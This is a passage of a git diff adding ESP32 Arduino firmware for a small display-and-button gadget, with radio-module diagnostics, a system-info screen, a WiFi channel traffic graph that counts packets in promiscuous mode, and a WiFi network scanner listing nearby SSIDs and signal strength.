+ for (int i = 0; i < VISIBLE_ROWS; i++) {
+ int item = offset + i;
+ if (item >= MAX_ITEMS)
+ break;
+
+ int y = 12 + i * 10;
+
+ if (item == selectedIndex) {
+ u8g2.drawBox(0, y - 9, 128, 10);
+ u8g2.setDrawColor(0);
+ }
+
+ u8g2.drawStr(2, y, labels[item]);
+
+ if (values[item])
+ u8g2.drawStr(80, y, "OK");
+ else
+ u8g2.drawStr(80, y, "FAIL");
+
+ if (item == selectedIndex)
+ u8g2.setDrawColor(1);
+ }
+
+ u8g2.sendBuffer();
+}
+
+// ===== MAIN =====
+void device_check_run() {
+ DeviceStatus status;
+
+ Serial.println("Running device diagnostics...");
+
+ // NRF
+ status.nrf1 = checkNRF(radio1);
+ status.nrf2 = checkNRF(radio2);
+
+ // CC1101
+ status.cc1101 = checkCC1101(CC1101_CS);
+ // status.cc1101 = true;
+
+ drawStatus(status);
+
+ Serial.println("Diagnostics complete");
+
+ while (1) {
+ drawStatus(status);
+
+ if (btnUp()) {
+ selectedIndex--;
+ if (selectedIndex < 0)
+ selectedIndex = MAX_ITEMS - 1;
+ delay(150);
+ }
+
+ if (btnDown()) {
+ selectedIndex++;
+ if (selectedIndex >= MAX_ITEMS)
+ selectedIndex = 0;
+ delay(150);
+ }
+
+ if (btnBack()) {
+ delay(150);
+ break;
+ }
+ }
+}
diff --git a/src-arduino/utils/device_check.h b/src-arduino/utils/device_check.h
new file mode 100644
index 0000000..3d6b250
--- /dev/null
+++ b/src-arduino/utils/device_check.h
@@ -0,0 +1,3 @@
+#pragma once
+
+void device_check_run();
diff --git a/src-arduino/utils/sysinfo.cpp b/src-arduino/utils/sysinfo.cpp
new file mode 100644
index 0000000..091ad0f
--- /dev/null
+++ b/src-arduino/utils/sysinfo.cpp
@@ -0,0 +1,84 @@
+#include "ui/display.h"
+#include "buttons.h"
+#include <Arduino.h>
+#include <esp_chip_info.h>
+#include <esp_heap_caps.h>
+
+void runSystemInfoFeature() {
+ esp_chip_info_t chip_info;
+
+ esp_chip_info(&chip_info);
+
+ while (true) {
+ // u8g2.clearBuffer();
+
+ // char buf[32];
+
+ // sprintf(buf, "Cores: %d", chip_info.cores);
+ // u8g2.drawStr(0, 14, buf);
+
+ // sprintf(buf, "Heap: %d",
+ // heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
+ // u8g2.drawStr(0, 28, buf);
+
+ // u8g2.drawStr(0, 60, "BACK to exit");
+
+ // Get RAM info
+ size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
+ size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
+ int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
+
+ // Get Flash info
+ // uint32_t flashSize = spi_flash_get_chip_size();
+ uint32_t flashSize = ESP.getFlashChipSize();
+ uint32_t flashUsed = ESP.getSketchSize();
+ int flashUsage = (flashUsed * 100) / flashSize;
+
+ // Temperature (approx)
+ uint8_t temperature = temperatureRead();
+
+ // Chip info
+ esp_chip_info_t chip_info;
+ esp_chip_info(&chip_info);
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x12_tr);
+
+ char buf[32];
+
+ // Box 1 - RAM
+ u8g2.drawFrame(0, 0, 128, 12);
+ sprintf(buf, "RAM: %d%% used", ramUsage);
+ u8g2.drawStr(4, 9, buf);
+
+ // Box 2 - Flash
+ u8g2.drawFrame(0, 12, 128, 12);
+ sprintf(buf, "Flash: %d%% used", flashUsage);
+ u8g2.drawStr(4, 21, buf);
+
+ // Box 3 - Temp (FULL WIDTH now)
+ u8g2.drawFrame(0, 24, 128, 12);
+ sprintf(buf, "Temp: %d C", temperature);
+ u8g2.drawStr(4, 33, buf);
+
+ // Box 4 - Chip info (FULL WIDTH)
+ u8g2.drawFrame(0, 36, 128, 12);
+ sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
+ u8g2.drawStr(4, 45, buf);
+
+ // Box 5 - PSRAM (KB)
+ u8g2.drawFrame(0, 48, 128, 12);
+ sprintf(buf, "PSRAM: %lu KB",
+ heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
+ u8g2.drawStr(4, 57, buf);
+
+ u8g2.sendBuffer();
+
+ if (btnBack()) {
+ delay(200);
+ return;
+ }
+
+ delay(100);
+ }
+}
diff --git a/src-arduino/utils/sysinfo.h b/src-arduino/utils/sysinfo.h
new file mode 100644
index 0000000..8a4f176
--- /dev/null
+++ b/src-arduino/utils/sysinfo.h
@@ -0,0 +1,3 @@
+#pragma once
+
+void runSystemInfoFeature();
diff --git a/src-arduino/wifi/wifi_analyzer.cpp b/src-arduino/wifi/wifi_analyzer.cpp
new file mode 100644
index 0000000..f630f70
--- /dev/null
+++ b/src-arduino/wifi/wifi_analyzer.cpp
@@ -0,0 +1,137 @@
+#include <Arduino.h>
+#include <WiFi.h>
+#include <esp_wifi.h>
+
+#include "ui/display.h"
+#include "utils/buttons.h"
+
+// ===== CONFIG =====
+#define GRAPH_WIDTH 128
+#define GRAPH_HEIGHT 44
+#define GRAPH_TOP 10
+#define MAX_POINTS 128
+#define SPIKE_THRESHOLD 30
+
+// ===== STATE =====
+struct SnifferGraph {
+ uint8_t graphData[MAX_POINTS];
+ uint8_t currentChannel = 1;
+ volatile uint16_t packetCounter = 0;
+ unsigned long lastChannelSwitch = 0;
+ unsigned long lastUpdate = 0;
+};
+
+static SnifferGraph sniffer;
+
+// ===== CALLBACK =====
+void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
+ if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA ||
+ type == WIFI_PKT_CTRL) {
+ sniffer.packetCounter++;
+ }
+}
+
+// ===== INIT =====
+void wifi_analyzer_start() {
+ // display init (safe to call again)
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
+ u8g2.drawStr(0, 10, "Starting analyzer...");
+ u8g2.sendBuffer();
+
+ // reset graph
+ memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
+ sniffer.packetCounter = 0;
+ sniffer.currentChannel = 1;
+
+ // reset WiFi
+ WiFi.disconnect(true, true);
+ esp_wifi_stop();
+ delay(200);
+ esp_wifi_deinit();
+
+ wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+
+ esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
+ esp_wifi_set_promiscuous_rx_cb(snifferCallback);
+ esp_wifi_set_promiscuous(true);
+}
+
+// ===== HELPERS =====
+static void switchChannel() {
+ sniffer.currentChannel++;
+ if (sniffer.currentChannel > 13)
+ sniffer.currentChannel = 1;
+
+ esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
+}
+
+static void updateGraph(uint8_t value) {
+ for (int i = 0; i < MAX_POINTS - 1; i++) {
+ sniffer.graphData[i] = sniffer.graphData[i + 1];
+ }
+
+ sniffer.graphData[MAX_POINTS - 1] = value;
+}
+
+static void drawGraph(uint16_t pktCount) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
+
+ char line1[16];
+ char line2[16];
+
+ sprintf(line1, "Ch:%d", sniffer.currentChannel);
+ sprintf(line2, "Pkts:%d", pktCount * 5);
+
+ u8g2.drawStr(0, 8, line1);
+ u8g2.drawStr(60, 8, line2);
+
+ for (int x = 1; x < GRAPH_WIDTH; x++) {
+ int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
+ int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
+
+ u8g2.drawLine(x - 1, y1, x, y2);
+ }
+
+ if (pktCount >= SPIKE_THRESHOLD) {
+ u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
+ }
+
+ u8g2.sendBuffer();
+}
+
+// ===== LOOP =====
+void wifi_analyzer_loop() {
+ static uint32_t lastPress = 0;
+ unsigned long now = millis();
+
+ // channel hopping
+ if (now - sniffer.lastChannelSwitch >= 1000) {
+ sniffer.lastChannelSwitch = now;
+ switchChannel();
+ }
+
+ // graph update
+ if (now - sniffer.lastUpdate >= 200) {
+ sniffer.lastUpdate = now;
+
+ uint16_t pktCount = sniffer.packetCounter;
+
+ uint8_t scaled = pktCount * 2;
+ uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
+
+ updateGraph(value);
+ drawGraph(pktCount);
+
+ sniffer.packetCounter = 0;
+ }
+
+ // optional: small debounce to not hammer CPU
+ if (millis() - lastPress < 10)
+ return;
+}
diff --git a/src-arduino/wifi/wifi_analyzer.h b/src-arduino/wifi/wifi_analyzer.h
new file mode 100644
index 0000000..df68284
--- /dev/null
+++ b/src-arduino/wifi/wifi_analyzer.h
@@ -0,0 +1,4 @@
+#pragma once
+
+void wifi_analyzer_start();
+void wifi_analyzer_loop();
diff --git a/src-arduino/wifi/wifi_scan.cpp b/src-arduino/wifi/wifi_scan.cpp
new file mode 100644
index 0000000..ec172c8
--- /dev/null
+++ b/src-arduino/wifi/wifi_scan.cpp
@@ -0,0 +1,139 @@
+#include "ui/display.h"
+#include "utils/buttons.h"
+#include <Arduino.h>
+#include <WiFi.h>
+
+#define MAX_NETWORKS 30
+
+struct WiFiNet {
+ String ssid;
+ int rssi;
+ int channel;
+ bool encrypted;
+};
+
+static WiFiNet networks[MAX_NETWORKS];
+static int networkCount = 0;
+static int selectedIndex = 0;
+
+// ===== SCAN =====
+void wifi_scan_start() {
+ u8g2.clearBuffer();
+ u8g2.drawStr(10, 30, "Scanning WiFi...");
+ u8g2.sendBuffer();
+
+ WiFi.mode(WIFI_STA);
+ WiFi.disconnect();
+
+ delay(100);
+
+ int n = WiFi.scanNetworks();
+
+ networkCount = min(n, MAX_NETWORKS);
+
+ for (int i = 0; i < networkCount; i++) {
+ networks[i].ssid = WiFi.SSID(i);
+ networks[i].rssi = WiFi.RSSI(i);
+ networks[i].channel = WiFi.channel(i);
+ networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
+ }
+
+ selectedIndex = 0;
+}
+
+// ===== DRAW =====
+void wifi_scan_draw() {
+ u8g2.clearBuffer();
+
+ if (networkCount == 0) {
+ u8g2.drawStr(0, 30, "No networks");
+ u8g2.drawStr(0, 45, "Press BACK");
+ } else {
+ char counter[20];
+ sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
+ u8g2.setFont(u8g2_font_5x8_tr);
+ u8g2.drawStr(0, 8, counter);
+
+ u8g2.setFont(u8g2_font_6x10_tr);
+
+ for (int i = 0; i < 3; i++) {
+ int idx = selectedIndex + i;
+ if (idx >= networkCount)
+ break;
+
+ int y = 22 + i * 14;
+
+ if (i == 0) {
+ u8g2.drawBox(0, y - 10, 128, 12);
+ u8g2.setDrawColor(0);
+ }
+
+ String text = networks[idx].ssid;
+ if (text.length() > 10)
+ text = text.substring(0, 10) + "..";
+
+ text += " (" + String(networks[idx].rssi) + ")";
+
+ u8g2.drawStr(2, y, text.c_str());
+
+ if (i == 0)
+ u8g2.setDrawColor(1);
+ }
+ }
+
+ u8g2.sendBuffer();
+}
+
+// ===== DETAILS =====
+void wifi_drawDetails() {
+ if (networkCount == 0)
+ return;
+
+ WiFiNet &net = networks[selectedIndex];
+
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_5x8_tr);
+
+ u8g2.drawStr(0, 10, net.ssid.c_str());
+
+ char rssi[20];
+ sprintf(rssi, "RSSI: %d", net.rssi);
+ u8g2.drawStr(0, 20, rssi);
+
+ char ch[20];
+ sprintf(ch, "CH: %d", net.channel);
+ u8g2.drawStr(0, 30, ch);
+
+ u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
+
+ u8g2.sendBuffer();
+}
+
+// ===== LOOP =====
+void wifi_scan_loop() {
+ static uint32_t lastPress = 0;
+
+ if (millis() - lastPress < 150)
+ return;
+
+ if (btnDown() && selectedIndex < networkCount - 1) {
+ selectedIndex++;
+ wifi_scan_draw();
+ lastPress = millis();
+ } else if (btnUp() && selectedIndex > 0) {
+ selectedIndex--;
+ wifi_scan_draw();
+ lastPress = millis();
+ } else if (btnSelect() && networkCount > 0) {
+ wifi_drawDetails();
+ delay(3000);
+ wifi_scan_draw();
+ lastPress = millis();
+ }
+ // else if (btnBack())
+ // {
+ // wifi_scan_start();
+ // wifi_scan_draw();
+ // lastPress = millis();
+ // }
+}
diff --git a/src-arduino/wifi/wifi_scan.h b/src-arduino/wifi/wifi_scan.h
new file mode 100644
index 0000000..902054e
--- /dev/null
+++ b/src-arduino/wifi/wifi_scan.h
@@ -0,0 +1,5 @@
+#pragma once
+
+void wifi_scan_start();
+void wifi_scan_loop();
+void wifi_scan_draw();